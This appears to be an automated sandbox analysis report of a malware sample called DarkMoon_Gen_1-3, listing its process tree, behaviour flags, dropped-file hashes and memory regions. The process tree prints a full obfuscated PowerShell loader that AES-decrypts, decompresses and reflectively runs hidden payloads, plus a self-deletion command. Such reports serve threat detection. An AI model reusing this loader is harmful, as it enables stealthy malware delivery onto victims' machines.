C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
- Modifies registry class
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious use of UnmapMainImage
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe"uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{cc0d0412-ef7b-4bd7-89ad-650f75bc4571}4⤵
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{ba145cfa-5416-4ab6-a28f-3c07f48cf077}4⤵
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{3d7955ce-fbf0-4304-b8db-510a13c8bfdd}4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{9fcb34a2-26cf-4e37-9d56-cfdd19cbe6c0}4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe" & exit4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\PING.EXEPING localhost -n 85⤵
- Runs ping.exe
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe"5⤵
- Kills process with taskkill
-
C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exe"5⤵
- Views/modifies file attributes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
- Drops file in System32 directory
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 2784 -ip 27842⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 4608 -ip 46082⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 4388 -ip 43882⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵
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C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.11⤵
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER1172.tmp.csvFilesize
41KB
MD5547d53bd9b5a2de86f79b3057fa0c46e
SHA120fad64c1648426a25ed94f3a52a6ec42a8560ff
SHA2568a96fcedd7f49f6390bcdf9e5d9930b7fddf7b0de1f9b7ea8c23f46af741d49e
SHA51225fcfe3d9d98a3b3633928a775e5dac2d4c074be5e37c9051ed41597d190df9d23259fdbe80f27cc20b69796f83851c9b5f588820bcfbe442d26e66fe476587b
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER1182.tmp.txtFilesize
13KB
MD5395824ecd704843a66c62cfa0e2a4e4b
SHA1ca93610cb817e9118852071a96f2e3e73d2a31c2
SHA256e36328e8793f4cf23e9026f61903bc86cac6ff0bd1363f6bc176e84f4f78b5e6
SHA512f9cdaeb99f0d46c8c1567b65db47a45e496ae2566b898896b589bf04c35d4310e63b85da3031df7cd34ea2f0b60c4923ba6829a883d26232afa38959f9543708
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER1193.tmp.csvFilesize
41KB
MD5e04cb74c47541a4eb0ee563bde293e5c
SHA10cf7dd2a0c7eed3039ab35d0fa1e8a1bc0d2c598
SHA256d02e997364bc14fc39761688282ea3755cc15526b329b13bc7fe91ba0044d1de
SHA51280fcda30942d0f4a38d716a4f216f3c5a5e6f2a427f64dbf86f678b5eb840efe12b37d270f6592595fb286115c338d20c97a3bcdcf1d75b328cc469ad43a19f9
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER11B3.tmp.txtFilesize
13KB
MD5b9a180d3f375f6be9fa29da58e29941a
SHA130dd968d4cf8e114feee443bcd3a1653a96b19a6
SHA256dd6e4815c7a8b50c57229fb16565cde6920b20bb9618672fac727c862506e685
SHA512d42c70a47f541965180b9f9cf33b9f5ed6c5a8a284f3f3c392d8a777ec39717e24dbf793cc0394c0fd5739ffef33d33e6c4675e64ae3a72c647482a5f20218b2
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C:\ProgramData\Microsoft\Windows\WER\Temp\WERF3D.tmp.csvFilesize
42KB
MD578f6143bf0516887c576efccecaed098
SHA1cfde55acce4d0fa796a6e418da5b5497a528af63
SHA25670134dbe08bbb1e8780bbcd138545da484bdadac86795eaac8feff85a94db629
SHA5125b42ca37db8042755205bbddc8bc64ccbe2872f5c9baf21195b3037fb5702ca955b48ff2090af39b939d480a1b5f877b4e6d6829729c1910387ad8add07d090b
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C:\ProgramData\Microsoft\Windows\WER\Temp\WERF6D.tmp.txtFilesize
13KB
MD55a8aa14c4b6e49d0afb72352f76eee8c
SHA19764f3f4ace2430538acc97ee307692757ad4876
SHA25644e88ad1b08de816bf642f9e67accad33f519417b697bdc1301810a16f520e18
SHA512007e7eba37b8147b86f9dd56253a54dc457a65d158f5a6b8f708059092386f7c55140e8bd0cef9542c7d8295ab237fdbb57b96598db233a93405f0a8beb6d13b
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C:\Users\Admin\AppData\Local\Temp\DarkMoon_Gen_1-3\lib\uni.bat.exeFilesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e0chr5xs.1qk.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\$sxr-cmd.exeFilesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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C:\Windows\$sxr-mshta.exeFilesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
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C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance WorkFilesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance WorkFilesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To WorkFilesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To WorkFilesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule WorkFilesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule WorkFilesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
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C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506Filesize
328B
MD5422eb4e6b169d7c3afb11b97c4f643f3
SHA117a7f55d389dd3ded1056ac1d564dfcd6352c0a1
SHA25638d062fb793e4d38213af8dc76bbf598db495d7e7a3b77832b1afeaea48c589b
SHA512a321fdf23c593179f9e47b5d0d22f76c14a124222e8293ddd252c5cbeb74dc8b9eddbcac784d30419ba65c3b890ed1cbe44c0918bb835604b8392fc64c19b1ce
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C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749Filesize
330B
MD57bb5d9eb6b5e21bc63b866214bbae153
SHA1e612a9ee803a2c1af11caa1d77fc88b35f5b3591
SHA25628e0caffe8a2a6cc24edb60ed998c3803289230ef34cee2b05c0492246e11a38
SHA512337e14931982abe54f3763bea5302fb13367fc7dd5a76b149ce9749aa6a44255d451fc518d8f6742cc7be261126929e188ea507c7fe7ada127d06158280b6879
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C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04Filesize
412B
MD5ce3e98ec49b9995b57faeb35855a3f65
SHA137dd40ab24acec2fd7fb357b4ffdae8e075b9279
SHA256f6f6249d8608cb57257df977163f6259ec48e4c0c40647c65cbe0158d76b7c9c
SHA512004c2c5d0454bf21f18fdcaabdd582dd0a64144839646c76105a8702e2b0de2d6d1092e6e6e6b04533f804e81dffb28a8bc7999e46e552b402d16509686755fd
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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memory/340-116-0x00007FFD952B0000-0x00007FFD952C0000-memory.dmpFilesize
64KB
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memory/340-108-0x000001B23D700000-0x000001B23D727000-memory.dmpFilesize
156KB
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memory/620-106-0x0000028E8D310000-0x0000028E8D337000-memory.dmpFilesize
156KB
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memory/620-102-0x0000028E8D280000-0x0000028E8D2A2000-memory.dmpFilesize
136KB
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memory/620-118-0x00007FFD952B0000-0x00007FFD952C0000-memory.dmpFilesize
64KB
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memory/668-112-0x00000183F8A60000-0x00000183F8A87000-memory.dmpFilesize
156KB
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memory/812-1714-0x00007FFDB4F90000-0x00007FFDB5A51000-memory.dmpFilesize
10.8MB
-
memory/812-5-0x000001A8F3740000-0x000001A8F3762000-memory.dmpFilesize
136KB
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memory/812-24-0x000001A898E60000-0x000001A898EB8000-memory.dmpFilesize
352KB
-
memory/812-1713-0x00007FFDC5723000-0x00007FFDC5724000-memory.dmpFilesize
4KB
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memory/812-18-0x00007FFDD5230000-0x00007FFDD5425000-memory.dmpFilesize
2.0MB
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memory/812-19-0x00007FFDD3B50000-0x00007FFDD3C0E000-memory.dmpFilesize
760KB
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memory/812-17-0x000001A8B0000000-0x000001A8B0024000-memory.dmpFilesize
144KB
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memory/812-16-0x00007FFDB4F90000-0x00007FFDB5A51000-memory.dmpFilesize
10.8MB
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memory/812-15-0x00007FFDB4F90000-0x00007FFDB5A51000-memory.dmpFilesize
10.8MB
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memory/812-20-0x000001A898300000-0x000001A898D50000-memory.dmpFilesize
10.3MB
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memory/812-4-0x00007FFDB4F93000-0x00007FFDB4F95000-memory.dmpFilesize
8KB
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memory/812-385-0x00007FFDB4F93000-0x00007FFDB4F95000-memory.dmpFilesize
8KB
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memory/812-384-0x00007FFDB4F90000-0x00007FFDB5A51000-memory.dmpFilesize
10.8MB
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memory/812-22-0x000001A898D50000-0x000001A898DF6000-memory.dmpFilesize
664KB
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memory/812-23-0x000001A898E00000-0x000001A898E56000-memory.dmpFilesize
344KB
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memory/812-26-0x00007FFDD5230000-0x00007FFDD5425000-memory.dmpFilesize
2.0MB
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memory/812-28-0x000001A8991A0000-0x000001A8991AA000-memory.dmpFilesize
40KB
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memory/812-25-0x000001A898EC0000-0x000001A898EE2000-memory.dmpFilesize
136KB
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memory/2296-88-0x0000024737E00000-0x0000024737E36000-memory.dmpFilesize
216KB
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memory/2296-62-0x000002473FC30000-0x000002474006E000-memory.dmpFilesize
4.2MB
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memory/2296-58-0x00007FFDD5230000-0x00007FFDD5425000-memory.dmpFilesize
2.0MB
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memory/2296-59-0x00007FFDD3B50000-0x00007FFDD3C0E000-memory.dmpFilesize
760KB
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memory/2296-60-0x0000024736E00000-0x0000024737386000-memory.dmpFilesize
5.5MB
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memory/2296-61-0x000002473F460000-0x000002473FC2A000-memory.dmpFilesize
7.8MB
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memory/2296-63-0x0000024740070000-0x0000024740122000-memory.dmpFilesize
712KB
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memory/2296-64-0x00007FFDD5230000-0x00007FFDD5425000-memory.dmpFilesize
2.0MB
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memory/2296-72-0x0000024737D70000-0x0000024737DC0000-memory.dmpFilesize
320KB
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memory/2296-73-0x0000024737E80000-0x0000024737F32000-memory.dmpFilesize
712KB
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memory/2296-87-0x00007FFDD3B50000-0x00007FFDD3C0E000-memory.dmpFilesize
760KB
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memory/2296-86-0x00007FFDD5230000-0x00007FFDD5425000-memory.dmpFilesize
2.0MB
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memory/2296-85-0x0000024737D20000-0x0000024737D6E000-memory.dmpFilesize
312KB
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memory/2296-84-0x0000024737DC0000-0x0000024737DFC000-memory.dmpFilesize
240KB
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memory/2296-74-0x0000024738110000-0x00000247382D2000-memory.dmpFilesize
1.8MB
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memory/3016-29-0x0000000140000000-0x0000000140004000-memory.dmpFilesize
16KB
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memory/3016-31-0x0000000140000000-0x0000000140004000-memory.dmpFilesize
16KB
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memory/4572-35-0x0000000000400000-0x0000000000406000-memory.dmpFilesize
24KB
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memory/4572-32-0x0000000000400000-0x0000000000406000-memory.dmpFilesize
24KB
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memory/5100-93-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
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memory/5100-94-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
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memory/5100-96-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
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memory/5100-98-0x0000000000DD0000-0x0000000000DEA000-memory.dmpFilesize
104KB
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memory/5116-92-0x00007FFDD3B50000-0x00007FFDD3C0E000-memory.dmpFilesize
760KB
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memory/5116-100-0x0000000140000000-0x0000000140028000-memory.dmpFilesize
160KB
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memory/5116-89-0x0000000140000000-0x0000000140028000-memory.dmpFilesize
160KB
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memory/5116-91-0x00007FFDD5230000-0x00007FFDD5425000-memory.dmpFilesize
2.0MB
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memory/5116-90-0x0000000140000000-0x0000000140028000-memory.dmpFilesize
160KB